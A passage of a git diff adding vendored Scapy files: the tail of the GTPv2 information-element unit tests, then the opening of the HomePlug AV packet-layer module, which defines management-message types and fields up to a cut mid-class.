Restart', length=1, restart_counter=17) +ie.ietype == 3 and ie.restart_counter == 17 + += IE_APN, dissection +h = "3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd140339f4d99f66000100080002081132547600004b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100e55700090385000010927f00000250001600580700000000000000000000000000000000000000007200020014005311004c" +gtp = Ether(hex_bytes(h)) +ie = gtp.IE_list[7] +ie.APN == b'aaaaaaaaaaaaaaaaaaaaaaaaa' + += IE_APN, basic instantiation +ie = IE_APN(ietype='APN', length=26, APN='aaaaaaaaaaaaaaaaaaaaaaaaa') +ie.ietype == 71 and ie.APN == b'aaaaaaaaaaaaaaaaaaaaaaaaa' + += IE_AMBR, dissection +h = "3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd140339f4d99f66000100080002081132547600004b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100e55700090385000010927f00000250001600580700000000000000000000000000000000000000007200020014005311004c" +gtp = Ether(hex_bytes(h)) +ie = gtp.IE_list[11] +ie.AMBR_Uplink == 5888 and ie.AMBR_Downlink == 42000 + += IE_AMBR, basic instantiation +ie = IE_AMBR( + ietype='AMBR', length=8, AMBR_Uplink=5888, AMBR_Downlink=42000) +ie.ietype == 72 and ie.AMBR_Uplink == 5888 and ie.AMBR_Downlink == 42000 + += IE_EPSBearerID, dissection +h = "3333333333332222222222228100838408004580006d00000000f31180d20a2a00010a2a0002084b85930059e49a4823004d55819f6500ede7000200020010004c000600111111111111490001003248000800000061a8000249f07f000100005d001300490001000b0200020010005e00040039004f454a0004007f00000436f73a63" +gtp = Ether(hex_bytes(h)) +ie = gtp.IE_list[2] +ie.EBI == 50 + += IE_EPSBearerID, basic instantiation +ie = IE_EPSBearerID(ietype='EPS Bearer ID', length=1, EBI=50) +ie.ietype == 73 and ie.EBI == 50 + += IE_IPv4, dissection +h = "3333333333332222222222228100838408004580006d00000000f31180d20a2a00010a2a0002084b85930059e49a4823004d84530d5a4cdee2000200020010004c00060011111111111149000100b248000800000061a8000249f07f000100005d00130049000100da0200020010005e00040039004f454a0004007f00000436f73a63" +gtp = Ether(hex_bytes(h)) +ie = gtp.IE_list[6] +ie.address == '127.0.0.4' + += IE_IPv4, basic instantiation +ie = IE_IPv4(ietype='IPv4', length=4, address='127.0.0.4') +ie.ietype == 74 and ie.address == '127.0.0.4' + += IE_MEI, dissection +h = "3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd140339f4d99f66000100080002081132547600004b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100e55700090385000010927f00000250001600580700000000000000000000000000000000000000007200020014005311004c" +gtp = Ether(hex_bytes(h)) +ie = gtp.IE_list[1] +ie.MEI == 123456 + += IE_MEI, basic instantiation +ie = IE_MEI(ietype='MEI', length=1, MEI=123456) +ie.ietype == 75 and ie.MEI == 123456 + += IE_MSISDN, dissection +h = "3333333333332222222222228100838408004580006d00000000f31180d20a2a00010a2a0002084b85930059e49a4823004d55819f6500ede7000200020010004c000600111111111111490001003248000800000061a8000249f07f000100005d001300490001000b0200020010005e00040039004f454a0004007f00000436f73a63" +gtp = Ether(hex_bytes(h)) +ie = gtp.IE_list[1] +ie.digits == b'111111111111' + += IE_MSISDN, basic instantiation +ie = IE_MSISDN(ietype='MSISDN', length=6, digits='111111111111') +ie.ietype == 76 and ie.digits == b'111111111111' + += IE_Indication, dissection +h = "3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd140339f4d99f66000100080002081132547600004b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100e55700090385000010927f00000250001600580700000000000000000000000000000000000000007200020014005311004c" +gtp = Ether(hex_bytes(h)) +ie = gtp.IE_list[10] +ie.DAF == 0 and ie.DTF == 0 and ie.PS == 1 and ie.CCRSI == 0 and ie.CPRAI == 0 and ie.PPON == 0 and ie.CLII == 0 and ie.CPSR == 0 + += IE_Indication, basic instantiation +ie = IE_Indication(ietype='Indication', length=8, PS=1, CPRAI=1) +ie.ietype == 77 and ie.PS == 1 and ie.CPRAI == 1 + += IE_Indication, basic instantiation 2 +ie = IE_Indication(ietype='Indication', length=8, DTF=1, PPSI=1) +ie.ietype == 77 and ie.DTF == 1 and ie.PPSI == 1 + += IE_PCO, dissection +h = "333333333333222222222222810083840800458800a500000000fd1183bb0a2a00010a2a0002084b76a00091cf0b48210085bd574af24c68e300020002001000570009008b000010927f0000025700090187000010927f0000024f000500017f0000037f000100004e00220080000d040a2a0003000d040a2a00038021100300001081060a2a000483060a2a00045d00250049000100660200020010005700090081000010927f0000025700090285000010927f000002dd9f22c6" +gtp = Ether(hex_bytes(h)) +ie = gtp.IE_list[5] +ie.Protocols[0].address == '10.42.0.3' + += IE_PCO, basic instantiation +ie = IE_PCO(ietype='Protocol Configuration Options', length=8, Extension=1, PPP=3, Protocols=[ + PCO_DNS_Server_IPv4(type='DNS Server IPv4 Address Request', length=4, address='10.42.0.3')]) +ie.Extension == 1 and ie.PPP == 3 and ie.Protocols[0].address == '10.42.0.3' + += IE_PAA, dissection +h = "3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd140339f4d99f66000100080002081132547600004b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100e55700090385000010927f00000250001600580700000000000000000000000000000000000000007200020014005311004c" +gtp = Ether(hex_bytes(h)) +ie = gtp.IE_list[9] +ie.PDN_type == 1 and ie.ipv4 == '127.0.0.3' + += IE_PAA, basic instantiation +ie = IE_PAA(ietype='PAA', length=5, PDN_type='IPv4', ipv4='127.0.0.3') +ie.ietype == 79 and ie.PDN_type == 1 and ie.ipv4 == '127.0.0.3' + += IE_Bearer_QoS, dissection +h = "3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd140339f4d99f66000100080002081132547600004b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100e55700090385000010927f00000250001600580700000000000000000000000000000000000000007200020014005311004c" +gtp = Ether(hex_bytes(h)) +ie = gtp.IE_list[12].IE_list[2] +ie.MaxBitRateForUplink == 0 and ie.MaxBitRateForDownlink == 0 and ie.QCI == 7 + += IE_Bearer_QoS, basic instantiation +ie = IE_Bearer_QoS(ietype='Bearer QoS', length=22, PCI=4, PriorityLevel=5, PVI=6, QCI=7, + MaxBitRateForUplink=1, MaxBitRateForDownlink=2, GuaranteedBitRateForUplink=3, GuaranteedBitRateForDownlink=4) +ie.ietype == 80 and ie.PCI == 4 and ie.PriorityLevel == 5 and ie.PVI == 6 and ie.QCI == 7 and ie.MaxBitRateForUplink == 1 and ie.MaxBitRateForDownlink == 2 and ie.GuaranteedBitRateForUplink == 3 and ie.GuaranteedBitRateForDownlink == 4 + += IE_RAT, dissection +h = "3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd140339f4d99f66000100080002081132547600004b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100e55700090385000010927f00000250001600580700000000000000000000000000000000000000007200020014005311004c" +gtp = Ether(hex_bytes(h)) +ie = gtp.IE_list[4] +ie.RAT_type == 6 + += IE_RAT, basic instantiation +ie = IE_RAT(ietype='RAT', length=1, RAT_type='EUTRAN') +ie.ietype == 82 and ie.RAT_type == 6 + += IE_ServingNetwork, dissection +h = "3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd140339f4d99f66000100080002081132547600004b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100e55700090385000010927f00000250001600580700000000000000000000000000000000000000007200020014005311004c" +gtp = Ether(hex_bytes(h)) +ie = gtp.IE_list[3] +ie.MCC == b'234' and ie.MNC == b'02' + += IE_ServingNetwork, basic instantiation +ie = IE_ServingNetwork( + ietype='Serving Network', length=3, MCC='234', MNC='02') +ie.ietype == 83 and ie.MCC == b'234' and ie.MNC == b'02' + += IE_ULI, dissection +h = "3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd140339f4d99f66000100080002081132547600004b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100e55700090385000010927f00000250001600580700000000000000000000000000000000000000007200020014005311004c" +gtp = Ether(hex_bytes(h)) +ie = gtp.IE_list[2] +ie.TAI_Present == 1 and ie.ECGI_Present == 1 and ie.TAI.MCC == b'234' and ie.TAI.MNC == b'02' and ie.TAI.TAC == 12345 and ie.ECGI.MCC == b'234' and ie.ECGI.MNC == b'02' and ie.ECGI.ECI == 123456 + += IE_ULI, basic instantiation +ie = IE_ULI(ietype='ULI', length=13, LAI_Present=0, ECGI_Present=1, TAI_Present=1, RAI_Present=0, SAI_Present=0, + CGI_Present=0, TAI=ULI_TAI(MCC='234', MNC='02', TAC=12345), ECGI=ULI_ECGI(MCC='234', MNC='02', ECI=123456)) +ie.ietype == 86 and ie.LAI_Present == 0 and ie.ECGI_Present == 1 and ie.TAI_Present == 1 and ie.RAI_Present == 0 and ie.SAI_Present == 0 and ie.CGI_Present == 0 and ie.TAI.MCC == b'234' and ie.TAI.MNC == b'02' and ie.TAI.TAC == 12345 and ie.ECGI.MCC == b'234' and ie.ECGI.MNC == b'02' and ie.ECGI.ECI == 123456 + += IE_FTEID, dissection +h = "3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd140339f4d99f66000100080002081132547600004b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100e55700090385000010927f00000250001600580700000000000000000000000000000000000000007200020014005311004c" +gtp = Ether(hex_bytes(h)) +ie = gtp.IE_list[5] +ie.GRE_Key == 4242 and ie.ipv4 == '127.0.0.2' + += IE_FTEID, basic instantiation +ie = IE_FTEID(ietype='F-TEID', length=9, ipv4_present=1, + InterfaceType=10, GRE_Key=0x1092, ipv4='127.0.0.2') +ie.ietype == 87 and ie.ipv4_present == 1 and ie.InterfaceType == 10 and ie.GRE_Key == 0x1092 and ie.ipv4 == '127.0.0.2' + += IE_BearerContext, dissection +h = "3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd140339f4d99f66000100080002081132547600004b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100e55700090385000010927f00000250001600580700000000000000000000000000000000000000007200020014005311004c" +gtp = Ether(hex_bytes(h)) +ie = gtp.IE_list[12] +len(ie.IE_list) == 3 and ie.IE_list[0].ietype == 73 and ie.IE_list[0].EBI == 229 and ie.IE_list[ + 1].ietype == 87 and ie.IE_list[1].ipv4 == '127.0.0.2' and ie.IE_list[2].ietype == 80 and ie.IE_list[2].QCI == 7 + += IE_BearerContext, basic instantiation +ie = IE_BearerContext(ietype='Bearer Context', length=44, IE_list=[ + IE_EPSBearerID(ietype='EPS Bearer ID', length=1, EBI=229)]) +ie.ietype == 93 and len(ie.IE_list) == 1 and ie.IE_list[ + 0].ietype == 73 and ie.IE_list[0].EBI == 229 + += IE_ChargingID, dissection +h = "3333333333332222222222228100838408004580006d00000000f31180d20a2a00010a2a0002084b85930059e49a4823004da0316b4d96ac2c000200020010004c00060011111111111149000100c348000800000061a8000249f07f000100005d001300490001003f0200020010005e00040039004f454a0004007f00000436f73a63" +gtp = Ether(hex_bytes(h)) +ie = gtp.IE_list[5].IE_list[2] +ie.ChargingID == 956321605 + += IE_ChargingID, basic instantiation +ie = IE_ChargingID(ietype='Charging ID', length=4, ChargingID=956321605) +ie.ietype == 94 and ie.ChargingID == 956321605 + += IE_ChargingCharacteristics, dissection +h = "3333333333332222222222228100a384080045b8011800000000fc1193150a2a00010a2a00027be5084b010444c4482000f82fd783953790a2000100080002081132547600004c0006001111111111114b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a001961616161616161616161616161616161616161616161616161800001000063000100014f000500017f0000034d000400000800007f00010000480008000000c3500002e6304e001a008080211001000010810600000000830600000000000d00000a005d001f00490001000750001600190700000000000000000000000000000000000000007200020014005f0002000a008e80b09f" +gtp = Ether(hex_bytes(h)) +ie = gtp.IE_list[18] +ie.ChargingCharacteristric == 0xa00 + += IE_ChargingCharacteristics, basic instantiation +ie = IE_ChargingCharacteristics( + ietype='Charging Characteristics', length=2, ChargingCharacteristric=0xa00) +ie.ietype == 95 and ie.ChargingCharacteristric == 0xa00 + += IE_PDN_type, dissection +h = "3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd140339f4d99f66000100080002081132547600004b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100e55700090385000010927f00000250001600580700000000000000000000000000000000000000007200020014005311004c" +gtp = Ether(hex_bytes(h)) +ie = gtp.IE_list[8] +ie.PDN_type == 1 + += IE_PDN_type, basic instantiation +ie = IE_PDN_type(ietype='PDN Type', length=1, PDN_type='IPv4') +ie.ietype == 99 and ie.PDN_type == 1 + += IE_UE_Timezone, dissection +h = "3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd140339f4d99f66000100080002081132547600004b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100e55700090385000010927f00000250001600580700000000000000000000000000000000000000007200020014005311004c" +gtp = Ether(hex_bytes(h)) +ie = gtp.IE_list[13] +ie.Timezone == 20 and ie.DST == 0 + += IE_UE_Timezone, basic instantiation +ie = IE_UE_Timezone(ietype='UE Time zone', length=2, Timezone=20, DST=0) +ie.ietype == 114 and ie.Timezone == 20 and ie.DST == 0 + += IE_UE_Timezone, basic instantiation +ie = IE_UE_Timezone(ietype='UE Time zone', length=2, Timezone=20, DST=1) +ie.ietype == 114 and ie.Timezone == 20 and ie.DST == 1 + += IE_Port_Number, dissection +h = "00010203040800808e8f8ab608004500004100010000401169140b00019705000001ec45084b002da8524820001d00000000006e400001000700420061896453f44a0004005f1e1d737e0002004532" +gtp = Ether(hex_bytes(h)) +ie = gtp.IE_list[2] +ie.PortNumber == 17714 + += IE_Port_Number, basic instantiation +ie = IE_Port_Number( + ietype='Port Number', length=2, PortNumber=17714) +ie.ietype == 126 and ie.PortNumber == 17714 + += IE_APN_Restriction, dissection +h = "3333333333332222222222228100838408004580006d00000000f31180d20a2a00010a2a0002084b85930059e49a4823004d55819f6500ede7000200020010004c000600111111111111490001003248000800000061a8000249f07f000100005d001300490001000b0200020010005e00040039004f454a0004007f00000436f73a63" +gtp = Ether(hex_bytes(h)) +ie = gtp.IE_list[4] +ie.APN_Restriction == 0 + += IE_APN_Restriction, basic instantiation +ie = IE_APN_Restriction( + ietype='APN Restriction', length=1, APN_Restriction=0) +ie.ietype == 127 and ie.APN_Restriction == 0 + += IE_SelectionMode, dissection +h = "3333333333332222222222228100a384080045b8011800000000fc1193150a2a00010a2a00027be5084b010444c4482000f8093ca4cc47fa69000100080002081132547600004c0006001111111111114b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a001961616161616161616161616161616161616161616161616161800001000063000100014f000500017f0000034d000400000800007f00010000480008000000c3500002e6304e001a008080211001000010810600000000830600000000000d00000a005d001f00490001004850001600190700000000000000000000000000000000000000007200020014005f0002000a008e80b09f" +gtp = Ether(hex_bytes(h)) +ie = gtp.IE_list[9] +ie.SelectionMode == 0 + += IE_SelectionMode, basic instantiation +ie = IE_SelectionMode( + ietype='Selection Mode', length=1, SelectionMode=4) +ie.ietype == 128 and ie.SelectionMode == 4 + += IE_MMBR, dissection +h = "3333333333332222222222228100838408004580014c97af0000f011830e0a2a00010a2a000282d5084b013876a74820012c29694a667f4a0b000100080002081132547600004c0006001111111111114b000800000000000001e24056000f000632f42030391a8532f42030391a855300030032f420520001000157001900c6000010927f0000020000000000000000000000000000fe8247001a001961616161616161616161616161616161616161616161616161800001000063000100014f000500017f0000034d000400000000007f000100004800080000001640000052084e00200080c02306010000060000802110010000108106000000008306000000000005005d003c00490001006057001902c4000010927f0000020000000000000000000000000000fe825000160029080000000000000000000000000000000000000000720002006e005f0002000a00a10008000000164000005208e4701ad2" +gtp = Ether(hex_bytes(h)) +ie = gtp.IE_list[18] +ie.uplink_rate == 5696 and ie.downlink_rate == 21000 + += IE_MMBR, basic instantiation +ie = IE_MMBR(ietype='Max MBR/APN-AMBR (MMBR)', + length=8, uplink_rate=5696, downlink_rate=21000) +ie.ietype == 161 and ie.uplink_rate == 5696 and ie.downlink_rate == 21000 + += GTPHeader answers to not GTPHeader instance +GTPHeader(gtp_type=2).answers(Ether()) == False + += GTPHeader post_build +gtp = GTPHeader(gtp_type="create_session_req") / ("X"*32) +gtp.show2() + += GTPHeader hashret +req = GTPHeader(gtp_type="create_session_req") / ("X"*32) +res = GTPHeader(gtp_type="create_session_res") / ("Y"*32) +req.hashret() == res.hashret() + += IE_NotImplementedTLV +h = "333333333333222222222222810080c808004588002937dd0000fd1115490a2a00010a2a0002084b084b00152d0e4001000900000100ff0001000daa000000003f1f382f" +gtp = Ether(hex_bytes(h)) +isinstance(gtp.IE_list[0], IE_NotImplementedTLV) + diff --git a/libs/scapy/contrib/homeplugav.py b/libs/scapy/contrib/homeplugav.py new file mode 100755 index 0000000..027090b --- /dev/null +++ b/libs/scapy/contrib/homeplugav.py @@ -0,0 +1,1431 @@ +# This file is part of Scapy +# Scapy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 2 of the License, or +# any later version. +# +# Scapy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Scapy. If not, see . + +# scapy.contrib.description = HomePlugAV Layer +# scapy.contrib.status = loads + +from __future__ import absolute_import +import struct + +from scapy.packet import Packet, bind_layers +from scapy.fields import BitField, ByteEnumField, ByteField, \ + ConditionalField, EnumField, FieldLenField, IntField, LEIntField, \ + LELongField, LEShortField, MACField, PacketListField, ShortField, \ + StrFixedLenField, StrLenField, X3BytesField, XByteField, XIntField, \ + XLongField, XShortField, LEShortEnumField +from scapy.layers.l2 import Ether +from scapy.modules.six.moves import range + +""" + Copyright (C) HomePlugAV Layer for Scapy by FlUxIuS (Sebastien Dudek) +""" + +""" + HomePlugAV Management Message Type + Key (type value) : Description +""" +HPAVTypeList = {0xA000: "'Get Device/sw version Request'", + 0xA001: "'Get Device/sw version Confirmation'", + 0xA008: "'Read MAC Memory Request'", + 0xA009: "'Read MAC Memory Confirmation'", + 0xA00C: "'Start MAC Request'", + 0xA00D: "'Start MAC Confirmation'", + 0xA010: "'Get NVM Parameters Request'", + 0xA011: "'Get NVM Parameters Confirmation'", + 0xA01C: "'Reset Device Request'", + 0xA01D: "'Reset Device Confirmation'", + 0xA020: "'Write Module Data Request'", + 0xA024: "'Read Module Data Request'", + 0xA025: "'Read Module Data Confirmation'", + 0xA028: "'Write Module Data to NVM Request'", + 0xA029: "'Write Module Data to NVM Confirmation'", + 0xA034: "'Sniffer Request'", + 0xA035: "'Sniffer Confirmation'", + 0xA036: "'Sniffer Indicates'", + 0xA038: "'Network Information Request'", + 0xA039: "'Network Information Confirmation'", + 0xA048: "'Loopback Request'", + 0xA049: "'Loopback Request Confirmation'", + 0xA050: "'Set Encryption Key Request'", + 0xA051: "'Set Encryption Key Request Confirmation'", + 0xA058: "'Read Configuration Block Request'", + 0xA059: "'Read Configuration Block Confirmation'", + 0xA062: "'Embedded Host Action Required Indication'"} + +HPAVversionList = {0x00: "1.0", + 0x01: "1.1"} + +HPAVDeviceIDList = {0x00: "Unknown", + 0x01: "'INT6000'", + 0x02: "'INT6300'", + 0x03: "'INT6400'", + 0x04: "'AR7400'", + 0x05: "'AR6405'", + 0x20: "'QCA7450/QCA7420'", + 0x21: "'QCA6410/QCA6411'", + 0x22: "'QCA7000'"} + +StationRole = {0x00: "'Station'", + 0x01: "'Proxy coordinator'", + 0x02: "'Central coordinator'"} + +StatusCodes = {0x00: "'Success'", + 0x10: "'Invalid Address'", + 0x14: "'Invalid Length'"} + +DefaultVendor = "Qualcomm" + +######################################################################### +# Qualcomm Vendor Specific Management Message Types; # +# from https://github.com/qca/open-plc-utils/blob/master/mme/qualcomm.h # +######################################################################### +# Commented commands are already in HPAVTypeList, the other have to be implemted # noqa: E501 +QualcommTypeList = { # 0xA000 : "VS_SW_VER", + 0xA004: "VS_WR_MEM", + # 0xA008 : "VS_RD_MEM", + # 0xA00C : "VS_ST_MAC", + # 0xA010 : "VS_GET_NVM", + 0xA014: "VS_RSVD_1", + 0xA018: "VS_RSVD_2", + # 0xA01C : "VS_RS_DEV", + # 0xA020 : "VS_WR_MOD", + # 0xA024 : "VS_RD_MOD", + # 0xA028 : "VS_MOD_NVM", + 0xA02C: "VS_WD_RPT", + 0xA030: "VS_LNK_STATS", + # 0xA034 : "VS_SNIFFER", + # 0xA038 : "VS_NW_INFO", + 0xA03C: "VS_RSVD_3", + 0xA040: "VS_CP_RPT", + 0xA044: "VS_ARPC", + # 0xA050 : "VS_SET_KEY", + 0xA054: "VS_MFG_STRING", + # 0xA058 : "VS_RD_CBLOCK", + 0xA05C: "VS_SET_SDRAM", + 0xA060: "VS_HOST_ACTION", + 0xA068: "VS_OP_ATTRIBUTES", + 0xA06C: "VS_ENET_SETTINGS", + 0xA070: "VS_TONE_MAP_CHAR", + 0xA074: "VS_NW_INFO_STATS", + 0xA078: "VS_SLAVE_MEM", + 0xA07C: "VS_FAC_DEFAULTS", + 0xA07D: "VS_FAC_DEFAULTS_CONFIRM", + 0xA084: "VS_MULTICAST_INFO", + 0xA088: "VS_CLASSIFICATION", + 0xA090: "VS_RX_TONE_MAP_CHAR", + 0xA094: "VS_SET_LED_BEHAVIOR", + 0xA098: "VS_WRITE_AND_EXECUTE_APPLET", + 0xA09C: "VS_MDIO_COMMAND", + 0xA0A0: "VS_SLAVE_REG", + 0xA0A4: "VS_BANDWIDTH_LIMITING", + 0xA0A8: "VS_SNID_OPERATION", + 0xA0AC: "VS_NN_MITIGATE", + 0xA0B0: "VS_MODULE_OPERATION", + 0xA0B4: "VS_DIAG_NETWORK_PROBE", + 0xA0B8: "VS_PL_LINK_STATUS", + 0xA0BC: "VS_GPIO_STATE_CHANGE", + 0xA0C0: "VS_CONN_ADD", + 0xA0C4: "VS_CONN_MOD", + 0xA0C8: "VS_CONN_REL", + 0xA0CC: "VS_CONN_INFO", + 0xA0D0: "VS_MULTIPORT_LNK_STA", + 0xA0DC: "VS_EM_ID_TABLE", + 0xA0E0: "VS_STANDBY", + 0xA0E4: "VS_SLEEPSCHEDULE", + 0xA0E8: "VS_SLEEPSCHEDULE_NOTIFICATION", + 0xA0F0: "VS_MICROCONTROLLER_DIAG", + 0xA0F8: "VS_GET_PROPERTY", + 0xA100: "VS_SET_PROPERTY", + 0xA104: "VS_PHYSWITCH_MDIO", + 0xA10C: "VS_SELFTEST_ONETIME_CONFIG", + 0xA110: "VS_SELFTEST_RESULTS", + 0xA114: "VS_MDU_TRAFFIC_STATS", + 0xA118: "VS_FORWARD_CONFIG", + 0xA200: "VS_HYBRID_INFO"} +# END OF Qualcomm commands # + +EofPadList = [0xA000, 0xA038] # TODO: The complete list of Padding can help to improve the condition in VendorMME Class # noqa: E501 + + +def FragmentCond(pkt): + """ + A fragmentation field condition + TODO: To complete + """ + return pkt.version == 0x01 + + +class MACManagementHeader(Packet): + name = "MACManagementHeader " + if DefaultVendor == "Qualcomm": + HPAVTypeList.update(QualcommTypeList) + fields_desc = [ByteEnumField("version", 0, HPAVversionList), + EnumField("HPtype", 0xA000, HPAVTypeList, " have fun! + """ + name = "NetworkInfoConfirmation" + fields_desc = [StrFixedLenField("reserved_n1", b"\x00\x00\x3a\x00\x00", 5), + XByteField("LogicalNetworksNumber", 0x01), + PacketListField("NetworksInfos", "", NetworkInfoV11, length_from=lambda pkt: pkt.LogicalNetworksNumber * 26), # noqa: E501 + XByteField("StationsNumber", 0x01), + StrFixedLenField("reserverd_s1", b"\x00\x00\x00\x00\x00", 5), # noqa: E501 + PacketListField("StationsInfos", "", StationInfoV11, length_from=lambda pkt: pkt.StationsNumber * 23)] # noqa: E501 + + +# Description of Embedded Host Action Required Indice +ActionsList = {0x02: "'PIB Update Ready'", + 0x04: "'Loader (Bootloader)'"} + + +class HostActionRequired(Packet): + """ + Embedded Host Action Required Indice + """ + name = "HostActionRequired" + fields_desc = [ByteEnumField("ActionRequired", 0x02, ActionsList)] + + +class LoopbackRequest(Packet): + name = "LoopbackRequest" + fields_desc = [ByteField("Duration", 0x01), + ByteField("reserved_l1", 0x01), + ShortField("LRlength", 0x0000)] + # TODO: Test all possibles data to complete it + + +class LoopbackConfirmation(Packet): + name = "LoopbackConfirmation" + fields_desc = [ByteEnumField("Status", 0x0, StatusCodes), + ByteField("Duration", 0x01), + ShortField("LRlength", 0x0000)] + +################################################################ +# Encryption Key Packets +################################################################ + + +class SetEncryptionKeyRequest(Packet): + name = "SetEncryptionKeyRequest" + fields_desc = [XByteField("EKS", 0x00), + StrFixedLenField("NMK", + b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # noqa: E501 + 16), + XByteField("PayloadEncKeySelect", 0x00), + MACField("DestinationMAC", "ff:ff:ff:ff:ff:ff"), + StrFixedLenField("DAK", + b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # noqa: E501 + 16)] + + +SetEncKey_Status = {0x00: "Success", + 0x10: "Invalid EKS", + 0x11: "Invalid PKS"} + + +class SetEncryptionKeyConfirmation(Packet): + name = "SetEncryptionKeyConfirmation" + fields_desc = [ByteEnumField("Status", 0x0, SetEncKey_Status)] + +################################################################ +# Default config Packet +################################################################ + + +class QUAResetFactoryConfirm(Packet): + name = "QUAResetFactoryConfirm" + fields_desc = [ByteEnumField("Status", 0x0, StatusCodes)] # TODO : Probably a Status bytefield? # noqa: E501 + +###################################################################### +# NVM Parameters Packets +###################################################################### + + +class GetNVMParametersRequest(Packet): + name = "Get NVM Parameters Request" + fields_desc = [] + + +class GetNVMParametersConfirmation(Packet): + name = "Get NVM Parameters Confirmation" + fields_desc = [ByteEnumField("Status", 0x0, StatusCodes), + LEIntField("NVMType", 0x00000013), + LEIntField("NVMPageSize", 0x00000100), + LEIntField("NVMBlockSize", 0x00010000), + LEIntField("NVMMemorySize", 0x00100000)] + +###################################################################### +# Sniffer Packets +###################################################################### + + +SnifferControlList = {0x0: "'Disabled'", + 0x1: "'Enabled'"} + +SnifferTypeCodes = {0x00: "'Regular'"} + + +class SnifferRequest(Packet): + name = "SnifferRequest" + fields_desc = [ByteEnumField("SnifferControl", 0x0, SnifferControlList)] + + +SnifferCodes = {0x00: "'Success'", + 0x10: "'Invalid Control'"} + + +class SnifferConfirmation(Packet): + name = "SnifferConfirmation" + fields_desc = [ByteEnumField("Status", 0x0, StatusCodes)] + + +DirectionCodes = {0x00: "'Tx'", + 0x01: "'Rx'"} + +ANCodes = {0x00: "'In-home'", + 0x01: "'Access'"} + + +class SnifferIndicate(Packet): + # TODO: Some bitfield have been regrouped for the moment => need more work on it # noqa: E501 + name = "SnifferIndicate" + fields_desc = [ByteEnumField("SnifferType", 0x0, SnifferTypeCodes), + ByteEnumField("Direction", 0x0, DirectionCodes), + LELongField("SystemTime", 0x0), + LEIntField("BeaconTime", 0x0), + XByteField("ShortNetworkID", 0x0), + ByteField("SourceTermEqID", 0), + ByteField("DestTermEqID", 0), + ByteField("LinkID", 0), + XByteField("PayloadEncrKeySelect", 0x0f), + ByteField("PendingPHYblock", 0), + 